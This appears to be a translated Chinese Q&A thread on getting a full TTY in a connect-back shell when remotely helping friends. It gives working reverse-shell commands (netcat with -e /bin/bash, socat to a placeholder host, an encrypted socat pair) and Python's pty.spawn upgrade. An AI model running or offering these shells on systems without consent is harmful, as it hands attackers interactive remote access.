在 Connectback Shell 中获取 TTY

在 Connectback Shell 中获取 TTY

朋友们经常请我帮忙解决一些 Linux 小问题,而且我经常被要求登录远程系统。通常创建帐户和登录时会遇到很多问题(有时盒子位于 NAT 设备后面,有时未安装 SSHD 等),所以我通常只要求他们使用 netcat (nc -e /bin/bash ) 创建一个连接回 shell。如果他们没有 netcat,我可以让他们获取一份静态编译的二进制文件的副本,下载和运行并不难,也不费时。

虽然这对我来说足以输入简单的命令,但我无法运行任何需要 tty 的应用程序(例如 vi),也无法使用任何作业控制功能。我设法通过在 connect-back shell 中运行 in.telnetd 并使用一些参数来绕过这个问题,这将为我分配一个终端并将我带到 shell。不幸的是,大多数系统通常不会默认安装 in.telnetd。

获得功能齐全的连接回终端外壳而不需要任何非标准包的最简单方法是什么?

(一个可以完成这项工作的小型 C 程序也很好,我只是似乎找不到太多关于如何分配 TTY 的文档。一个不需要我深入研究 SSHD 和 TELNETD 源代码的解决方案就好了 :))

答案1

需要注意的是,互联网上未加密的 shell 是一件坏事,因此pentestmonkey 帖子有一些技术可用于通过现有 shell 会话获取 TTY。最有可能在任何系统上使用 Python 的方法:

python -c 'import pty; pty.spawn("/bin/sh")'

将外壳替换成你选择的外壳。

答案2

它不是一个标准程序,但是“socat tcp:your-host:1234 exec:bash,pty”可以完成这项工作。

您还可以使用 socat 保护与 OpenSSL 的通信:

# 你这边:
openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.pem
socat `tty`,raw,echo=0 openssl-listen:1237,reuseaddr,cert=cert.pem,verify=0

# 他们那边:
socat openssl-connect:127.0.0.1:1237,verify = 0 exec:bash,pty,stderr,setsid

这将提供具有加密功能的良好回连终端。

相关内容